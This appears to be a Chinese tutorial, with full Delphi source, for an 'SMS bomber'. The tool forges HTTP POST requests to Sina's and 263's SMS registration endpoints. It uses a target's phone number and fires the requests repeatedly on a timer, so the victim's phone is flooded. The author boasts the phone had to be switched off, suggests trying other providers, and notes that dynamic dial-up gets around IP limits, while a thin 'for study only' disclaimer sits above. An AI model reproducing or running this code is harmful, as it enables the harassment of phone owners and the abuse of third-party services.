昨天晚上在水源看到有人在傳播短信轟炸機,見http://expert.csdn.Net/Expert/topic/1851/1851433.XML?temp=.7669336,一時心血來潮,自己也寫一個把,聲明:在寫這篇文章之前,該篇文章只用於學習,任何用於非法騷擾別人的行為,後果自負,與本人無關,警告大家不要用於違法行為。
該軟件目前主要用於對新浪短信網絡,大家可以多試一下其他網站的短信服務,比如263,搜虎,雅虎,西陸,中國短信網等,目前新浪,雅虎對此已有限制,可以說短信轟炸功能已完全失效,新浪現在限制一個IP只能注冊5次,除非你采用動態撥號啊,如果他們采用輸入附加碼驗證的功能,我們就更沒有好的辦法了,呵呵~~~
大家先看一下在新浪網注冊短信時截獲的信息把~~
/cgi-bin/sms/register.CGI HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-PowerPoint, application/vnd.ms-Excel, application/msWord, application/x-shockwave-Flash, */*
Referer: http://sms.sina.com.cn/docs/register.Html
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .Net CLR 1.1.4322)
Host: sms.sina.com.cn
Content-Length: 34
Connection: Keep-Alive
Cache-Control: no-cache
CookIE: SMSLOGIN=0; USRTYPE=C
mobile=13666666666&lang=1&ad_tag=1
以上的內容我就不詳細介紹了,相比大家都能看懂,請注意mobile=13666666666,這就是你要轟炸的手機號碼,主機是:sms.sina.com.cn
,提交頁面: /cgi-bin/sms/register.CGI HTTP/1.1
我們現在要做的就是構造Http短信包,然後利用Delphi5的ClIEntSocket控件發送到新浪的短信服務器的80端口即可,很簡單的啊 :)
窗口控件:
一個ClIEntSocket控件,一個TTimer,兩個文本框,一個用於輸入手機號,一個輸入延時,還有兩個按紐。
截圖如下:
原代碼部分:
unit smsBomber;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ScktComp, NMURL, StdCtrls, ComCtrls, ExtCtrls;
type
TForm1 = class(TForm)
url: TNMURL;
ClientSocket1: TClIEntSocket;
Label1: TLabel;
Edit1: TEdit;
Button1: TButton;
Button2: TButton;
StatusBar1: TStatusBar;
Timer1: TTimer;
Label2: TLabel;
Edit2: TEdit;
procedure Button1Click(Sender: TObject);
procedure ClIEntSocket1Error(Sender: TObject; Socket: TCustomWinSocket;
ErrorEvent: TErrorEvent; var ErrorCode: Integer);
procedure ClIEntSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
procedure Button2Click(Sender: TObject);
procedure ClIEntSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
procedure Timer1Timer(Sender: TObject);
procedure Edit1KeyPress(Sender: TObject; var Key: Char);
procedure Edit2KeyPress(Sender: TObject; var Key: Char);
private
{ Private declarations }
procedure BuildHttpHeadForSina();
procedure BuildHttpHeadFor263();
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
begin
if edit1.Text='' then
begin
showmessage('手機號不能為空!');
exit;
end;
clIEntsocket1.active:=true;
Timer1Timer(sender);
end;
procedure TForm1.ClIEntSocket1Error(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
StatusBar1.SimpleText:='連接出錯!';
errorcode:=0;
end;
procedure TForm1.ClIEntSocket1Read(Sender: TObject;
Socket: TCustomWinSocket);
var
s:string;
begin
s:=socket.ReceiveText;
if pos('成功',s)<>0 then
begin
clIEntsocket1.Active :=false;
StatusBar1.SimpleText:='發送成功!';
clIEntsocket1.active:=true;
end else
begin
StatusBar1.SimpleText:='發送失敗!';
clIEntsocket1.active:=false;
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
Close;
end;
//針對新浪網的短信轟炸,非常好用,筆者剛調試完曾對自己的手機進行過一番狂轟亂炸,效果十分明顯,迫使不得不關機,不過目前已經不靈了啊 :)
procedure TForm1.BuildHttpHeadForSina;
var
sends,sendc:string;
begin
//Http頭信息
sends:='POST /cgi-bin/sms/register.CGI HTTP/1.1'+#13#10;
sends:=sends+'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-PowerPoint, application/vnd.ms-Excel, application/msWord, application/x-shockwave-Flash, */*'+#13#10;
sends:=sends+'Referer: http://sms.sina.com.cn/docs/register.Html'+#13#10;
sends:=sends+'Accept-Language: zh-cn'+#13#10;
sends:=sends+'Content-Type: application/x-www-form-urlencoded'+#13#10;
sends:=sends+'Accept-Encoding: gzip, deflate'+#13#10;
sends:=sends+'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .Net CLR 1.1.4322)'+#13#10;
sends:=sends+'Host: sms.sina.com.cn'+#13#10;
sends:=sends+'Cache-Control: no-cache'+#13+#10;
sends:=sends+'CookIE: SMSLOGIN=0; USRTYPE=C'+#13+#10;
//發送的內容
url.inputstring:=trim(edit1.text);
sendc:='mobile='+url.Encode;
sendc:=sendc+'&lang=1&ad_tag=1';
sends:=sends+'Content-Length: '+inttostr(length(sendc))+#13#10;
sends:=sends+'Connection: Keep-Alive'+#13+#10+#13#10 +sendc;
clIEntsocket1.Host :='202.108.37.148';
clIEntsocket1.Port :=80;
clIEntsocket1.Socket.SendText(sends);
end;
procedure TForm1.ClIEntSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
begin
BuildHttpHeadForSina(); //對新浪短信網進行轟炸
end;
//定時發送
procedure TForm1.Timer1Timer(Sender: TObject);
begin
Timer1.Interval :=strtoint(trim(edit2.text));
timer1.Enabled :=true;
BuildHttpHeadForSina();
end;
procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);
begin
if not (key in ['0'..'9',#8,#13]) then
begin
key :=#0;
end;
end;
procedure TForm1.Edit2KeyPress(Sender: TObject; var Key: Char);
begin
if not (key in ['0'..'9',#8,#13]) then
begin
key :=#0;
end;
end;
//這個是用於263短信網站的,目前還沒試驗成功
procedure TForm1.BuildHttpHeadFor263;
var
sends,sendc:string;
begin
//Http頭信息
sends:='POST /cgi-bin/mobile/bin/user_getpass.CGI HTTP/1.1'+#13#10;
sends:=sends+'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-PowerPoint, application/vnd.ms-Excel, application/msWord, application/x-shockwave-Flash, */*'+#13#10;
sends:=sends+'Referer: http://sms.263.Net/getpass.Html'+#13#10;
sends:=sends+'Accept-Language: zh-cn'+#13#10;
sends:=sends+'Content-Type: application/x-www-form-urlencoded'+#13#10;
sends:=sends+'Accept-Encoding: gzip, deflate'+#13#10;
sends:=sends+'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .Net CLR 1.1.4322)'+#13#10;
sends:=sends+'Host: sms.263.Net'+#13#10;
sends:=sends+'Cache-Control: no-cache'+#13+#10;
sends:=sends+'CookIE: SMSLOGIN=0; USRTYPE=C'+#13+#10;
//發送的內容
url.inputstring:=trim(edit1.text);
sendc:='phone='+url.Encode;
sendc:=sendc+'&Submit2=%C8%B7%B6%A8';
sends:=sends+'Content-Length: '+inttostr(length(sendc))+#13#10;
sends:=sends+'Connection: Keep-Alive'+#13+#10+#13#10 +sendc;
clIEntsocket1.Host :='210.78.128.62';
clIEntsocket1.Port :=80;
clIEntsocket1.Socket.SendText(sends);
end;